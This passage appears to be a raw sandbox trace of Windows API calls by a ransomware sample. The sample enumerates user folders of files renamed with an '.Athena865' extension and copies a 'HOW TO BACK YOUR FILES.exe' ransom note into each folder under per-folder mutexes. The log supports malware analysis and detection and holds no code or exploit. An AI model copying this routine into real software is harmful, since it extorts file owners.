cAlternateFileName="QWFEWF~1.ATH")) returned 1 [0100.422] lstrcmpiW (lpString1="QwfewF.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.422] lstrcmpiW (lpString1="QwfewF.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.422] lstrcpyW (in: lpString1=0x241e8a6, lpString2="QwfewF.jpg.Athena865" | out: lpString1="QwfewF.jpg.Athena865") returned="QwfewF.jpg.Athena865" [0100.422] lstrlenW (lpString="QwfewF.jpg.Athena865") returned 20 [0100.422] lstrlenW (lpString="Athena865") returned 9 [0100.422] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.422] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe18fbda0, ftCreationTime.dwHighDateTime=0x1d4d04d, ftLastAccessTime.dwLowDateTime=0x267f5580, ftLastAccessTime.dwHighDateTime=0x1d4c813, ftLastWriteTime.dwLowDateTime=0xc55bff40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="R9R-zhvtD.gif.Athena865", cAlternateFileName="R9R-ZH~1.ATH")) returned 1 [0100.422] lstrcmpiW (lpString1="R9R-zhvtD.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.422] lstrcmpiW (lpString1="R9R-zhvtD.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.422] lstrcpyW (in: lpString1=0x241e8a6, lpString2="R9R-zhvtD.gif.Athena865" | out: lpString1="R9R-zhvtD.gif.Athena865") returned="R9R-zhvtD.gif.Athena865" [0100.423] lstrlenW (lpString="R9R-zhvtD.gif.Athena865") returned 23 [0100.423] lstrlenW (lpString="Athena865") returned 9 [0100.423] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.423] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83452440, ftCreationTime.dwHighDateTime=0x1d4cd3e, ftLastAccessTime.dwLowDateTime=0x3ab3ee20, ftLastAccessTime.dwHighDateTime=0x1d4d264, ftLastWriteTime.dwLowDateTime=0xc55e60a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x108d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S_RJwFpCjL8CC-.flv.Athena865", cAlternateFileName="S_RJWF~1.ATH")) returned 1 [0100.423] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.423] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.423] lstrcpyW (in: lpString1=0x241e8a6, lpString2="S_RJwFpCjL8CC-.flv.Athena865" | out: lpString1="S_RJwFpCjL8CC-.flv.Athena865") returned="S_RJwFpCjL8CC-.flv.Athena865" [0100.423] lstrlenW (lpString="S_RJwFpCjL8CC-.flv.Athena865") returned 28 [0100.423] lstrlenW (lpString="Athena865") returned 9 [0100.423] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.423] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ffa72b0, ftCreationTime.dwHighDateTime=0x1d4c75c, ftLastAccessTime.dwLowDateTime=0x89199370, ftLastAccessTime.dwHighDateTime=0x1d4c7c0, ftLastWriteTime.dwLowDateTime=0xc55e60a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TYG7nsgbQtk.mp4.Athena865", cAlternateFileName="TYG7NS~1.ATH")) returned 1 [0100.423] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.423] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.423] lstrcpyW (in: lpString1=0x241e8a6, lpString2="TYG7nsgbQtk.mp4.Athena865" | out: lpString1="TYG7nsgbQtk.mp4.Athena865") returned="TYG7nsgbQtk.mp4.Athena865" [0100.423] lstrlenW (lpString="TYG7nsgbQtk.mp4.Athena865") returned 25 [0100.423] lstrlenW (lpString="Athena865") returned 9 [0100.423] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.423] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5a493c0, ftCreationTime.dwHighDateTime=0x1d4cf1b, ftLastAccessTime.dwLowDateTime=0x181211e0, ftLastAccessTime.dwHighDateTime=0x1d4c6d8, ftLastWriteTime.dwLowDateTime=0xc560c200, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WEHzo2vkl 2.m4a.Athena865", cAlternateFileName="WEHZO2~1.ATH")) returned 1 [0100.423] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.423] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.423] lstrcpyW (in: lpString1=0x241e8a6, lpString2="WEHzo2vkl 2.m4a.Athena865" | out: lpString1="WEHzo2vkl 2.m4a.Athena865") returned="WEHzo2vkl 2.m4a.Athena865" [0100.423] lstrlenW (lpString="WEHzo2vkl 2.m4a.Athena865") returned 25 [0100.423] lstrlenW (lpString="Athena865") returned 9 [0100.423] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.423] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb15800b0, ftCreationTime.dwHighDateTime=0x1d4ccf7, ftLastAccessTime.dwLowDateTime=0xc4cebb60, ftLastAccessTime.dwHighDateTime=0x1d4c901, ftLastWriteTime.dwLowDateTime=0xc5632360, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XkXyOUxk3hP_TJ3h.mp3.Athena865", cAlternateFileName="XKXYOU~1.ATH")) returned 1 [0100.423] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.423] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.423] lstrcpyW (in: lpString1=0x241e8a6, lpString2="XkXyOUxk3hP_TJ3h.mp3.Athena865" | out: lpString1="XkXyOUxk3hP_TJ3h.mp3.Athena865") returned="XkXyOUxk3hP_TJ3h.mp3.Athena865" [0100.423] lstrlenW (lpString="XkXyOUxk3hP_TJ3h.mp3.Athena865") returned 30 [0100.423] lstrlenW (lpString="Athena865") returned 9 [0100.424] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.424] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88201090, ftCreationTime.dwHighDateTime=0x1d4cb97, ftLastAccessTime.dwLowDateTime=0x35f35c0, ftLastAccessTime.dwHighDateTime=0x1d4c741, ftLastWriteTime.dwLowDateTime=0xc56584c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6e80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmUz35it3_sqim.mp3.Athena865", cAlternateFileName="XMUZ35~1.ATH")) returned 1 [0100.424] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.424] lstrcmpiW (lpString1="xmUz35it3_sqim.mp3.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.424] lstrcpyW (in: lpString1=0x241e8a6, lpString2="xmUz35it3_sqim.mp3.Athena865" | out: lpString1="xmUz35it3_sqim.mp3.Athena865") returned="xmUz35it3_sqim.mp3.Athena865" [0100.424] lstrlenW (lpString="xmUz35it3_sqim.mp3.Athena865") returned 28 [0100.424] lstrlenW (lpString="Athena865") returned 9 [0100.424] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.424] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe4cfea20, ftCreationTime.dwHighDateTime=0x1d4ce00, ftLastAccessTime.dwLowDateTime=0x8c85a730, ftLastAccessTime.dwHighDateTime=0x1d4c7be, ftLastWriteTime.dwLowDateTime=0xc567e620, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xdd90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y-QNc48_tZcV5p.xlsx.Athena865", cAlternateFileName="Y-QNC4~1.ATH")) returned 1 [0100.424] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.424] lstrcmpiW (lpString1="Y-QNc48_tZcV5p.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.424] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Y-QNc48_tZcV5p.xlsx.Athena865" | out: lpString1="Y-QNc48_tZcV5p.xlsx.Athena865") returned="Y-QNc48_tZcV5p.xlsx.Athena865" [0100.424] lstrlenW (lpString="Y-QNc48_tZcV5p.xlsx.Athena865") returned 29 [0100.424] lstrlenW (lpString="Athena865") returned 9 [0100.424] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.424] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe45206d0, ftCreationTime.dwHighDateTime=0x1d4cafb, ftLastAccessTime.dwLowDateTime=0xf7043b40, ftLastAccessTime.dwHighDateTime=0x1d4d285, ftLastWriteTime.dwLowDateTime=0xc567e620, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_7M11JjnoJE4PxKJttGG.ppt.Athena865", cAlternateFileName="_7M11J~1.ATH")) returned 1 [0100.424] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.424] lstrcmpiW (lpString1="_7M11JjnoJE4PxKJttGG.ppt.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.424] lstrcpyW (in: lpString1=0x241e8a6, lpString2="_7M11JjnoJE4PxKJttGG.ppt.Athena865" | out: lpString1="_7M11JjnoJE4PxKJttGG.ppt.Athena865") returned="_7M11JjnoJE4PxKJttGG.ppt.Athena865" [0100.424] lstrlenW (lpString="_7M11JjnoJE4PxKJttGG.ppt.Athena865") returned 34 [0100.424] lstrlenW (lpString="Athena865") returned 9 [0100.424] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.424] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe45206d0, ftCreationTime.dwHighDateTime=0x1d4cafb, ftLastAccessTime.dwLowDateTime=0xf7043b40, ftLastAccessTime.dwHighDateTime=0x1d4d285, ftLastWriteTime.dwLowDateTime=0xc567e620, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_7M11JjnoJE4PxKJttGG.ppt.Athena865", cAlternateFileName="_7M11J~1.ATH")) returned 0 [0100.424] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.424] ReleaseMutex (hMutex=0xec) returned 1 [0100.424] CloseHandle (hObject=0xec) returned 1 [0100.424] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0100.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516580 | out: hHeap=0x4f0000) returned 1 [0100.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ae18 | out: hHeap=0x4f0000) returned 1 [0100.425] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned 38 [0100.425] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B6C9F6D377EF5919402AB707F65EA782") returned 0xec [0100.425] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.425] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0100.425] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.425] GetLastError () returned 0x0 [0100.426] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0100.426] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.426] CloseHandle (hObject=0xf4) returned 1 [0100.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.426] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.426] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5788fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5788fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.427] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.427] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.428] lstrcpyW (in: lpString1=0x241e896, lpString2="Aclviho ASldjfl.contact.Athena865" | out: lpString1="Aclviho ASldjfl.contact.Athena865") returned="Aclviho ASldjfl.contact.Athena865" [0100.428] lstrlenW (lpString="Aclviho ASldjfl.contact.Athena865") returned 33 [0100.428] lstrlenW (lpString="Athena865") returned 9 [0100.428] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.428] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc56ca8e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x10e20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact.Athena865", cAlternateFileName="ADMINI~1.ATH")) returned 1 [0100.428] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.428] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.428] lstrcpyW (in: lpString1=0x241e896, lpString2="Administrator.contact.Athena865" | out: lpString1="Administrator.contact.Athena865") returned="Administrator.contact.Athena865" [0100.428] lstrlenW (lpString="Administrator.contact.Athena865") returned 31 [0100.428] lstrlenW (lpString="Athena865") returned 9 [0100.428] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.428] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc56f0a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact.Athena865", cAlternateFileName="ASDLFK~1.ATH")) returned 1 [0100.428] lstrcmpiW (lpString1="asdlfk poopvy.contact.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.428] lstrcmpiW (lpString1="asdlfk poopvy.contact.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.428] lstrcpyW (in: lpString1=0x241e896, lpString2="asdlfk poopvy.contact.Athena865" | out: lpString1="asdlfk poopvy.contact.Athena865") returned="asdlfk poopvy.contact.Athena865" [0100.428] lstrlenW (lpString="asdlfk poopvy.contact.Athena865") returned 31 [0100.428] lstrlenW (lpString="Athena865") returned 9 [0100.428] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.428] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc573cd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact.Athena865", cAlternateFileName="CHUCUJ~1.ATH")) returned 1 [0100.428] lstrcmpiW (lpString1="chucu jadnvk.contact.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.428] lstrcmpiW (lpString1="chucu jadnvk.contact.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.429] lstrcpyW (in: lpString1=0x241e896, lpString2="chucu jadnvk.contact.Athena865" | out: lpString1="chucu jadnvk.contact.Athena865") returned="chucu jadnvk.contact.Athena865" [0100.429] lstrlenW (lpString="chucu jadnvk.contact.Athena865") returned 30 [0100.429] lstrlenW (lpString="Athena865") returned 9 [0100.429] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.429] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0100.429] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.429] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.429] lstrcpyW (in: lpString1=0x241e896, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.429] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.429] lstrlenW (lpString="Athena865") returned 9 [0100.429] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.429] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdeb7e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.429] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.429] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc5788fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact.Athena865", cAlternateFileName="LULCIT~1.ATH")) returned 1 [0100.429] lstrcmpiW (lpString1="lulcit amkdfe.contact.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.429] lstrcmpiW (lpString1="lulcit amkdfe.contact.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.429] lstrcpyW (in: lpString1=0x241e896, lpString2="lulcit amkdfe.contact.Athena865" | out: lpString1="lulcit amkdfe.contact.Athena865") returned="lulcit amkdfe.contact.Athena865" [0100.429] lstrlenW (lpString="lulcit amkdfe.contact.Athena865") returned 31 [0100.429] lstrlenW (lpString="Athena865") returned 9 [0100.429] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.429] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc5788fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.Athena865", cAlternateFileName="SIKVNB~1.ATH")) returned 1 [0100.429] lstrcmpiW (lpString1="sikvnb huvuib.contact.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.429] lstrcmpiW (lpString1="sikvnb huvuib.contact.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.429] lstrcpyW (in: lpString1=0x241e896, lpString2="sikvnb huvuib.contact.Athena865" | out: lpString1="sikvnb huvuib.contact.Athena865") returned="sikvnb huvuib.contact.Athena865" [0100.429] lstrlenW (lpString="sikvnb huvuib.contact.Athena865") returned 31 [0100.429] lstrlenW (lpString="Athena865") returned 9 [0100.429] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.429] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc5788fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.Athena865", cAlternateFileName="SIKVNB~1.ATH")) returned 0 [0100.430] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.430] ReleaseMutex (hMutex=0xec) returned 1 [0100.430] CloseHandle (hObject=0xec) returned 1 [0100.430] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0100.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5165d8 | out: hHeap=0x4f0000) returned 1 [0100.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ae30 | out: hHeap=0x4f0000) returned 1 [0100.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned 37 [0100.430] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4E607A38D7E9FB1618C29E764BAC8B3B") returned 0xec [0100.430] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.430] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0100.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.431] GetLastError () returned 0x0 [0100.431] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0100.431] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, 